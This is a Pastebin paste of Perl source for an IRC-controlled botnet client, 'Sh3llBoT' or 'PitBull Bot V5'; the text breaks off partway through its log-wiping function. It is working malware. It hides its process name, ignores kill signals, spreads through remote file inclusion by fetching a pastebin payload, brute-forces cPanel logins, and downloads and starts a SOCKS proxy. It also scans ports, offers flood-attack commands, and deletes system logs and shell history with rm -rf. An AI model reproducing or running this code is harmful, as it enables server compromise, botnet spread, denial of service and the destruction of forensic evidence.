sirnon

Sh3llBoT

May 2nd, 2012
341
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 47.24 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #system 'cd /tmp;rm -rf *';
  3. #
  4. # Mizok Bot V3.2 PRiVaTE Sh3llBoT
  5. #
  6. # Last edited : 12/2/2010
  7. #
  8. #[@[PitBull Bot V5 Commands List]@]
  9. #[@-----[Shellbot/Hacking Based]-----@]
  10. #!bot @admins
  11. #!bot @spread <rfi>
  12. #!bot @milw0rm
  13. #!bot @packetstorm
  14. #!bot @portscan <host>
  15. #!bot @logcleaner
  16. #!bot @md5 <hash>
  17. #!bot @sendmail <subject> <sender> <recipient> <message>
  18. #!bot @vnc <B-Class>
  19. #!bot @boxip
  20. #!bot @socks5
  21. #!bot @cleartmp
  22. #!bot @portchk <host> <port>
  23. #!bot @proxy <a|t|e>
  24. #!bot @rootable
  25. #!bot @modules
  26. #!bot @cpanel <host> <user> <port>
  27. #!bot @visit <url>
  28. #!bot @shellfind <c99/r57/mys/phm/rem>
  29. #[@-----[IRC Based]-----@]
  30. #!bot @join <#channel>
  31. #!bot @part <#channel>
  32. #!bot @quit <reason>
  33. #!bot @voice <who>
  34. #!bot @devoice <who>
  35. #!bot @halfop <who>
  36. #!bot @dehalfop <who>
  37. #!bot @op <who>
  38. #!bot @deop <who>
  39. #!bot @owner <who>
  40. #!bot @deowner <who>
  41. #[@-----[DDos Based]-----@]
  42. #!bot @udpflood <host> <packetsize> <time>
  43. #!bot @httpflood <host> <time>
  44. #!bot @sqlflood <host> <time>
  45. #[@-----[Flooding Based]-----@]
  46. #!bot @msgflood <who>
  47. #!bot @dccflood <who>
  48. #!bot @ctcpflood <who>
  49. #!bot @noticeflood <who>
  50. #!bot @channelflood
  51. #!bot @maxiflood <who>
  52. #[@[PitBull Bot V5 Commands List]@]
  53. #
  54. # Sh3llBoT
  55. #
  56. ######################
  57. #print " After installation, Linux requires configuration and systems administration. Corporate systems need monitoring, backups, updates, as well as system and user management. Ubuntu (apt), CentOS, Fedora and Red Hat (rpm/YUM) server and desktop systems adminstration are covered by this script. Please dont exit the script or it will result in a broken linux partition";
  58. ######################
  59. # Specify your data:
  60. #--------------------------------------------------------------#
  61. my $max_lines= '10';
  62. my $sleeping= '3';
  63. my $prefix = "shellbot"; # "!" is included :)
  64. my $spread = "http://pastebin.com/raw.php?i=3qXLLzfZ";
  65. my @admins = ("Vicktor");
  66. my @hostauth= ("Vicktor.ro");
  67. #--------------------------------------------------------------#
  68. $server= 'irc.byroe.net' unless $server;
  69. my $port= '6667';
  70. my @channel= ("#non");
  71. my @nickname = ("XDCC|");
  72. my $nick = $nickname[rand scalar @nickname];
  73. my $ircname = 'xdcc';
  74. chop (my $realname = "VickT');
  75. #--------------------------------------------------------------#
  76. my $httpmodule;
  77. my $usermodule;
  78. my $lwpmodule;
  79. my $filemodule;
  80. #--------------------------------------------------------------#
  81. #--------------------------------------------------------------#
  82. # End here :)
  83.  
  84. $SIG{'INT'} = 'IGNORE';
  85. $SIG{'HUP'} = 'IGNORE';
  86. $SIG{'TERM'} = 'IGNORE';
  87. $SIG{'CHLD'} = 'IGNORE';
  88. $SIG{'PS'} = 'IGNORE';
  89.  
  90. eval "use HTTP::Request;"; if ($@) {
  91. $httpmodule= " 4No";
  92. }
  93. else{
  94. $httpmodule= " 4Yes";
  95. }
  96.  
  97. eval "use LWP::UserAgent;"; if ($@) {
  98. $usermodule= " 4No";
  99. }
  100. else{
  101. $usermodule= " 4Yes";
  102. }
  103.  
  104. eval "require LWP;"; if ($@) {
  105. $lwpmodule= " 4No";
  106. }
  107. else{
  108. $lwpmodule= " 4Yes";
  109. }
  110.  
  111. eval "use FileHandle;"; if ($@) {
  112. $filemodule= " 4No";
  113. }
  114. else{
  115. $filemodule= " 4Yes";
  116. }
  117.  
  118.  
  119. use IO::Socket;
  120. use Socket;
  121. use IO::Select;
  122. chdir("/");
  123.  
  124. #Connect
  125. $server="$ARGV[0]" if $ARGV[0];
  126.  
  127. # Real psx! - by xeQt.
  128. my $uid=`id -u`;
  129. if ($uid =~ /^0$/)
  130. {
  131. $0=$xeQters."\0"x16;;
  132. chdir($rootpath);
  133. }
  134. else
  135. {
  136. @processer=`ps x|grep -E "http|httpd|apache|apache2|mysql|postgrep|smbd"`; # Grab from real ps!
  137. foreach $lines (@processer)
  138. {
  139. if (($lines =~ /\/(.+)/)&&($lines !~ /grep/i)&&($lines !~ /perl/i))
  140. {
  141. if (($lines!~/wget/i)&&($lines!~/curl/i)&&($lines!~/fetch/i)&&($lines!~/GET/i)&&($lines!~/lwp-download/i))
  142. {
  143. $bg=$1;
  144. }
  145. }
  146. if (($bg =~ /^\//i) || ($bg =~ /^\/\//i) || ($bg =~ /^[.+?]$/i))
  147. {
  148. $bg="$bg";
  149. }
  150. else
  151. {
  152. $bg="/$bg";
  153. }
  154. if ((length($bg) <= 3) || ($bg =~ /.txt$/i))
  155. {
  156. $bg=$fakeps[rand scalar @fakeps];
  157. }
  158. $0="$bg"."\0"x16;;
  159. chdir($userpath);
  160. }
  161. }
  162.  
  163. my $pid=fork;
  164. exit if $pid;
  165. die "Error: Fork(): $!" unless defined($pid);
  166.  
  167. our %irc_servers;
  168. our %DCC;
  169. my $dcc_sel = new IO::Select->new();
  170. $sel_cliente = IO::Select->new();
  171. sub sendraw {
  172. if ($#_ == '1') {
  173. my $socket = $_[0];
  174. print $socket "$_[1]\n";
  175. } else {#342
  176. print $IRC_cur_socket "$_[0]\n";
  177. }
  178. }
  179.  
  180. sub conectar {
  181. my $meunick = $_[0];
  182. my $server_con = $_[1];
  183. my $port_con = $_[2];
  184. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con",
  185. PeerPort=>$port_con) or return(1);
  186. if (defined($IRC_socket)) {
  187. $IRC_cur_socket = $IRC_socket;
  188. $IRC_socket->autoflush(1);
  189. $sel_cliente->add($IRC_socket);
  190. $irc_servers{$IRC_cur_socket}{'host'} = "$server_con";
  191. $irc_servers{$IRC_cur_socket}{'porta'} = "$port_con";
  192. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  193. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  194. nick("$meunick");
  195. sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");
  196. sleep 1;
  197. }
  198. }
  199.  
  200. my $line_temp;
  201. while( 1 ) {
  202. while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
  203. delete($irc_servers{''}) if (defined($irc_servers{''}));
  204. my @ready = $sel_cliente->can_read(0);
  205. next unless(@ready);
  206. foreach $fh (@ready) {
  207. $IRC_cur_socket = $fh;
  208. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  209. $nread = sysread($fh, $msg, 4096);
  210. if ($nread == 0) {
  211. $sel_cliente->remove($fh);
  212. $fh->close;
  213. delete($irc_servers{$fh});
  214. }
  215. @lines = split (/\n/, $msg);
  216. for(my $c=0; $c<= $#lines; $c++) {
  217.  
  218. $line = $lines[$c];
  219. $line=$line_temp.$line if ($line_temp);
  220. $line_temp='';
  221. $line =~ s/\r$//;
  222. unless ($c == $#lines) {
  223. parse("$line");
  224. } else {
  225. if ($#lines == 0) {
  226. parse("$line");
  227. } elsif ($lines[$c] =~ /\r$/) {
  228. parse("$line");
  229. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  230. parse("$line");
  231. } else {
  232. $line_temp = $line;
  233. }
  234. }
  235. }
  236. }
  237. }
  238.  
  239. sub parse {
  240. my $servarg = shift;
  241. if ($servarg =~ /^PING \:(.*)/) {
  242. sendraw("PONG :$1");
  243. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  244. my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  245. if ($args =~ /^\001VERSION\001$/) {
  246. notice("$pn", "\001VERSION mIRC v6.31 The_PitBull\001");
  247. }
  248. if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth ) {
  249. if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
  250. if ($onde eq "$meunick"){
  251. shell("$pn", "$args");
  252. }
  253.  
  254.  
  255. #-#-#-#-#-#-#-#-#
  256. # PREFIX #
  257. #-#-#-#-#-#-#-#-#
  258. if ($args =~ /^(\Q$meunick\E|\!$prefix)\s+(.*)/ ) {
  259. my $natrix = $1;
  260. my $arg = $2;
  261. if ($arg =~ /^\!(.*)/) {
  262. ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
  263. } elsif ($arg =~ /^\@(.*)/) {
  264. $ondep = $onde;
  265. $ondep = $pn if $onde eq $meunick;
  266. bfunc("$ondep","$1");
  267. } else {
  268. shell("$onde", "$arg");
  269. }
  270. }
  271. }
  272. }
  273. }
  274.  
  275. #-#-#-#-#-#-#-#-#
  276. # NICKNAME OPT.#
  277. #-#-#-#-#-#-#-#-#
  278. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  279. if (lc($1) eq lc($meunick)) {
  280. $meunick=$4;
  281. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  282. }
  283. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  284. nick("$meunick".int rand(999999));
  285. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  286. $meunick = $2;
  287. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  288. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  289. foreach my $canal (@channel) {
  290. sendraw("JOIN $canal ddosit");
  291. }
  292. }
  293. }
  294.  
  295. sub bfunc {
  296. my $printl = $_[0];
  297. my $funcarg = $_[1];
  298.  
  299. if (my $pid = fork) {
  300. waitpid($pid, 0);
  301. } else {
  302. if (fork) {
  303. exit;
  304. } else {
  305.  
  306.  
  307. #-#-#-#-#-#-#-#-#
  308. # Commands #
  309. #-#-#-#-#-#-#-#-#
  310.  
  311. # Show commands of the bot.
  312. if ($funcarg =~ /^commands/) {
  313. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ [PitBull Bot V5 Commands List] 4@ 12 ] ");
  314. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ -----[Shellbot/Hacking Based]----- 4@ 12 ] ");
  315. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1admins ");
  316. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1spread <rfi> ");
  317. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1milw0rm ");
  318. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1packetstorm ");
  319. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1portscan <host> ");
  320. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1logcleaner ");
  321. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1md5 <hash> ");
  322. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1sendmail <subject> <sender> <recipient> <message> ");
  323. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1vnc <B-Class> ");
  324. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1boxip ");
  325. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1socks5 ");
  326. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1cleartmp ");
  327. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1portchk <host> <port> ");
  328. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1proxy <a|t|e> ");
  329. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1rootable ");
  330. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1modules ");
  331. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1cpanel <host> <user> <port> ");
  332. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1visit <url> ");
  333. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1shellfind <c99/r57/mys/phm/rem> ");
  334. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ -----[IRC Based]----- 4@ 12 ] ");
  335. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1join <#channel> ");
  336. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1part <#channel> ");
  337. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1quit <reason> ");
  338. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1voice <who> ");
  339. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1devoice <who> ");
  340. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1halfop <who> ");
  341. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1dehalfop <who> ");
  342. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1op <who> ");
  343. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1deop <who> ");
  344. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ -----[DDos Based]----- 4@ 12 ] ");
  345. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1udpflood <host> <packetsize> <time> ");
  346. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1httpflood <host> <time> ");
  347. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1sqlflood <host> <time> ");
  348. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ -----[Flooding Based]----- 4@ 12 ] ");
  349. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1msgflood <who> ");
  350. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1dccflood <who> ");
  351. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1ctcpflood <who> ");
  352. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1noticeflood <who> ");
  353. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1channelflood");
  354. sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1maxiflood <who> ");
  355. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ [PitBull Bot V5 Commands List] 4@ 12 ] ");
  356. }
  357.  
  358. # Shell finder based on the code of DiA/RRLF.
  359. if ($funcarg =~ /^shellfind\s+(.*)/) {
  360. my $type=$1;
  361. my @searchTerm;
  362. my @checkTerm;
  363. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ShellFinder 12] Started for finding 4 ".$type." 12shell ");
  364. if($type eq "r57") {
  365. push(@searchTerm, "inurl:r57.php");
  366. push(@searchTerm, "\"[ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ]\"");
  367. push(@searchTerm, "intitle:r57shell");
  368. push(@checkTerm, "r57");
  369. push(@checkTerm, "safe_mode");
  370. }
  371. elsif($type eq "c99") {
  372. push(@searchTerm, "inurl:c99.php");
  373. push(@searchTerm, "\"Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout\"");
  374. push(@searchTerm, "intitle:\" - phpshell\"");
  375. push(@searchTerm, "intitle:\" - c99shell\"");
  376. push(@checkTerm, "c99");
  377. push(@checkTerm, "Safe-mode");
  378. }
  379. elsif($type eq "mys") {
  380. push(@searchTerm, "\"Auto error traping enabled\"");
  381. push(@searchTerm, "intitle:\"MyShell 1.1.0 build 20010923\"");
  382. push(@checkTerm, "MyShell");
  383. push(@checkTerm, "Echo commands");
  384. }
  385. elsif($type eq "phs") {
  386. push(@searchTerm, "intitle:\"PHP Shell 1.5\"");
  387. push(@searchTerm, "intitle:\"PHP Shell 1.6\"");
  388. push(@searchTerm, "intitle:\"PHP Shell 1.7\"");
  389. push(@searchTerm, "\"Enable stderr-trapping?\"");
  390. push(@checkTerm, "PHP Shell");
  391. push(@checkTerm, "Choose new working");
  392. }
  393. elsif($type eq "phm") {
  394. push(@searchTerm, "\"PHPShell by Macker\"");
  395. push(@searchTerm, "\"[ Main Menu ] [ PHPKonsole ] [ Haxplorer ]\"");
  396. push(@checkTerm, "Haxplorer");
  397. push(@checkTerm, "PHPKonsole");
  398. }
  399. elsif($type eq "rem") {
  400. push(@searchTerm, "intitle:\"phpRemoteView: \"");
  401. push(@searchTerm, "\"REMVIEW TOOLS\"");
  402. push(@checkTerm, "phpRemoteView");
  403. push(@checkTerm, "perms");
  404. }
  405.  
  406. my $userAgent = LWP::UserAgent->new;
  407. $userAgent->agent("User-Agent=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5");
  408.  
  409. my @resultLinks;
  410.  
  411. foreach(@searchTerm) {
  412. my $isLastPage = 0;
  413. for(my $gPage = 0; ; $gPage++) {
  414. if($isLastPage == 1) { last; }
  415.  
  416. my $gRequest = HTTP::Request->new(GET => "http://www.google.de/search?q=$_&start=$gPage"."0");
  417. my $gResource = $userAgent->request($gRequest);
  418.  
  419. if($gResource->is_success) {
  420. my @gContent = split("<div class=g>", $gResource->content);
  421. if(@gContent < 10) { $isLastPage = 1; };
  422.  
  423. for(my $gPiece = 1; $gPiece < @gContent; $gPiece++) {
  424. my $shellLink = substr($gContent[$gPiece], index($gContent[$gPiece], "href=\"") + 6);
  425. $shellLink = substr($shellLink, 0, index($shellLink, "\""));
  426.  
  427. my $sRequest = HTTP::Request->new(GET => $shellLink);
  428. my $sResource = $userAgent->request($sRequest);
  429.  
  430. if($sResource->is_success) {
  431. if(index($sResource->content, $checkTerm[0]) != -1 && index($sResource->content, $checkTerm[1]) != -1) {
  432. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ShellFinder 12] 4 [".$type."] 12Link: 4 ".$shellLink." ");
  433.  
  434. }
  435. }
  436. }
  437. sleep 20; #wait 20 seconds so google dont think we are a bot
  438. } else {
  439. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ShellFinder 12] Google blacklisted! ");
  440. }
  441. }
  442. }
  443.  
  444. }
  445.  
  446. # Show admins of the bot.
  447. if ($funcarg =~ /^admins/) {
  448. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Admins 12] The Admins of the bot are : 4 @admins ");
  449. }
  450.  
  451. # ModuleCheck to c wich we are using
  452. if ($funcarg =~ /^modules/) {
  453. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] HTTP::Request: ".$httpmodule." ");
  454. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] LWP::Useragent: ".$usermodule." ");
  455. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] LWP: ".$lwpmodule." ");
  456. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] FileHandle: ".$filemodule." ");
  457. }
  458.  
  459. # URL Visitor
  460. if ($funcarg =~ /^visit\s+(.*)/) {
  461. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ URLVisit 12] Visiting");
  462. my $side=$1;
  463. my $set = fix_url($side);
  464. if (my $pid = fork) { waitpid($pid, 0); }
  465. else { if (fork) { exit; }
  466. else {
  467. eval "use HTTP::Request;"; if ($@) {
  468. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ URLVisit 12] HTTP::Request not found ");
  469. }
  470. eval "use LWP::UserAgent;"; if ($@) {
  471. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ URLVisit 12] LWP::UserAgent not found ");
  472. }
  473. my $siden=fix_url($side);
  474. my $req=HTTP::Request->new(GET=>$siden);
  475. my $ua=LWP::UserAgent->new();
  476. $ua->timeout(10);
  477. my $response=$ua->request($req);
  478. my $mrx=$response->content;
  479. if ($response->is_success) {
  480. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ URLVisit 12] Visited 4 ".$siden.".");
  481. }
  482. else {
  483. sendraw($IRC_cur_socket, "PRIVMSG $printl :Error: ".$siden."");
  484. }
  485. }
  486. exit;
  487. }
  488. }
  489.  
  490. # Spread the bot on a rfi. Make sure that your $spread is configured right !.
  491. if ($funcarg =~ /^spread\s+(.*)/) {
  492. $vuln = $1;
  493. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Spreader 12] Spreading bot on : 4 $vuln");
  494. my $shellurl="http://".$vuln.$spread."?";
  495. my $reqz=HTTP::Request->new(GET=>$shellurl);
  496. my $ua=LWP::UserAgent->new();
  497. my $response=$ua->request($reqz);
  498. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Spreader 12] Bot is Spreaded on : 4 $vuln");
  499. }
  500.  
  501. # MD5 Decrypter by my friend iNs ;).
  502. if ($funcarg =~ /^md5\s+(.*)/) {
  503. &ice($printl,$1);
  504. &gdata($printl,$1);
  505. &redn($printl,$1);
  506. &xpz($printl,$1);
  507. &ben($printl,$1);
  508. &alim($printl,$1);
  509. &cry($printl,$1);
  510. }
  511.  
  512. # Get the latest bugs from milw0rm.
  513. if ($funcarg =~ /^milw0rm/) {
  514. my @ltt=();
  515. my @bug=();
  516. my $x;
  517. my $page="";
  518. my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  519. print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  520. my @r = <$socke>;
  521. $page="@r";
  522. close($socke);
  523. while ($page =~ m/<title>(.*)</g){
  524. $x = $1;
  525. if ($x =~ /\<\;/) {
  526. $x =~ s/\<\;/</g;
  527. }
  528. if ($x !~ /milw0rm/) {
  529. push (@bug,$x);
  530. }}
  531. while ($page =~ m/<link.*expl.*([0-9]...)</g) {
  532. if ($1 !~ m/milw0rm.com|exploits|en/){
  533. push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
  534. }}
  535. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Milw0rm 12] 12 Latest exploits : ");
  536. foreach $x (0..(@ltt - 1)) {
  537. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Milw0rm 12] 12 $bug[$x] - $ltt[$x]");
  538. sleep 1;
  539. }}
  540.  
  541. # Get the IP of the box
  542. if ($funcarg =~ /^boxip/) {
  543. $net = `/sbin/ifconfig | grep 'eth0'`;
  544. if (length($net))
  545. {
  546. $net = `/sbin/ifconfig eth0 | grep 'inet addr'`;
  547. if (!length($net))
  548. {
  549. $net = `/sbin/ifconfig eth0 | grep 'inet end.'`;
  550. }
  551. if (length($net))
  552. {
  553. chop($net);
  554. @netip = split/:/,$net;
  555. $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;
  556. $ip = $1 .".". $2 .".". $3 .".". $4;
  557. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ IP 12] 12 IP of B0X : 4 ". $ip ." ");
  558. }
  559. else
  560. {
  561. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ IP 12] 12 IP of B0X : 4 Not founded ");
  562. }
  563. }
  564. else
  565. {
  566. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ IP 12] 12 IP of B0X : 4 Error ");
  567. }
  568. }
  569.  
  570. #cPanel Bruter by xeQt modded by The_PitBull
  571. if ($funcarg =~ /^cpanel\s+(\S+)\s+(\S+)\s+(\d+)/) {
  572. my $haddr=$1;
  573. my $cuser=$2;
  574. my $cport=$3;
  575. my $countcp=0;
  576. eval "use IO::Socket;"; if ($@) {
  577. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] 12 IO::Socket Not Found"); return;
  578. }
  579. eval "use LWP::Simple;"; if ($@) {
  580. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] 12 LWP::Simple Not Found"); return;
  581. }
  582. eval "use MIME::Base64;"; if ($@) {
  583. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] 12 MIME::Base64 Not Found"); return;
  584. }
  585. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ cPanelBruter 12] 12 Starting Bruter");
  586. foreach my $P (@cpanelpasswds) {
  587. $countcp++;
  588. chomp $P;
  589. $passwd = $P;
  590. $authx = encode_base64($cuser.":".$passwd);
  591. my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$haddr", PeerPort => "$cport") || die "Error connect ro host\n";
  592. print $sock "GET / HTTP/1.1\n";
  593. print $sock "Authorization: Basic $authx\n";
  594. print $sock "Connection: Close\n\n";
  595. read $sock, $answer, 128;
  596. close($sock);
  597. if ($answer =~ /Moved/) {
  598. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ cPanelBruter 12] 12 Cracked ".$haddr.":".$cport." - l/p:".$cuser.":".$passwd." - Done.");
  599. return;
  600. }
  601. }
  602. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ cPanelBruter 12] 12 Tested ".$countcp." password(s) without luck!");
  603. }
  604.  
  605.  
  606. #Auto Install Socks V5 using Mocks
  607. if ($funcarg =~ /^socks5/) {
  608. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ SocksV5 12] 12 Installing Mocks please wait 4");
  609. system 'cd /tmp';
  610. system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz';
  611. system 'tar -xvfz mocks-0.0.2.tar.gz';
  612. system 'rm -rf mocks-0.0.2.tar.gz';
  613. system 'cd mocks-0.0.2';
  614. system 'rm -rf mocks.conf';
  615. system 'curl -O http://andromeda.covers.de/221/mocks.conf';
  616. system 'touch mocks.log';
  617. system 'chmod 0 mocks.log';
  618. sleep(2);
  619. system './mocks start';
  620. sleep(4);
  621. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ SocksV5 12] 12 Looks like its succesfully installed lets do the last things 4 ");
  622.  
  623. #lets grab ip
  624. $net = `/sbin/ifconfig | grep 'eth0'`;
  625. if (length($net))
  626. {
  627. $net = `/sbin/ifconfig eth0 | grep 'inet addr'`;
  628. if (!length($net))
  629. {
  630. $net = `/sbin/ifconfig eth0 | grep 'inet end.'`;
  631. }
  632. if (length($net))
  633. {
  634. chop($net);
  635. @netip = split/:/,$net;
  636. $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;
  637. $ip = $1 .".". $2 .".". $3 .".". $4;
  638.  
  639. #and print it ^^
  640. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ SocksV5 12] 12 Connect here : 4 ". $ip .":8787 ");
  641. }
  642. else
  643. {
  644. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ SocksV5 12] 12 IP not founded ");
  645. }
  646. }
  647. else
  648. {
  649. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ SocksV5 12] 12 ERROR WHILE INSTALLING MOCKS ");
  650. }
  651. }
  652.  
  653.  
  654.  
  655. # A portscanner, @portscan <host>
  656. if ($funcarg =~ /^portscan (.*)/) {
  657. my $hostip="$1";
  658. my
  659. @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  660. my (@aberta, %porta_banner);
  661. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Portscan 12] 12 Scanning for open ports on 4 ".$1." 12 started .");
  662. foreach my $port (@portas) {
  663. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $port, Proto =>
  664. 'tcp', Timeout => 4);
  665. if ($scansock) {
  666. push (@aberta, $port);
  667. $scansock->close;
  668. }
  669. }
  670. if (@aberta) {
  671. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Portscan 12] 12 Open ports founded: @aberta");
  672. } else {
  673. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Portscan 12] 12 No open ports foundend. ");
  674. }
  675. }
  676.  
  677. # A logcleaner, most effective when you are uid=0
  678. if ($funcarg =~ /^logcleaner/) {
  679. sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ LogCleaner 12] This process can be long, just wait");
  680. system 'rm -rf /var/log/lastlog';
  681. system 'rm -rf /var/log/wtmp';
  682. system 'rm -rf /etc/wtmp';
  683. system 'rm -rf /var/run/utmp';
  684. system 'rm -rf /etc/utmp';
  685. system 'rm -rf /var/log';
  686. system 'rm -rf /var/logs';
  687. system 'rm -rf /var/adm';
  688. system 'rm -rf /var/apache/log';
  689. system 'rm -rf /var/apache/logs';
  690. system 'rm -rf /usr/local/apache/log';
  691. system 'rm -rf /usr/local/apache/logs';
  692. system 'rm -rf /root/.bash_history';
  693. system 'rm -rf /root/.ksh_history';
